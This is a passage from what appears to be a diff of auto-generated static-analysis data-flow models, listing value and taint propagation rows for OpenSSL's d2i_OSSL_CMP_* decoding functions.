**,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const 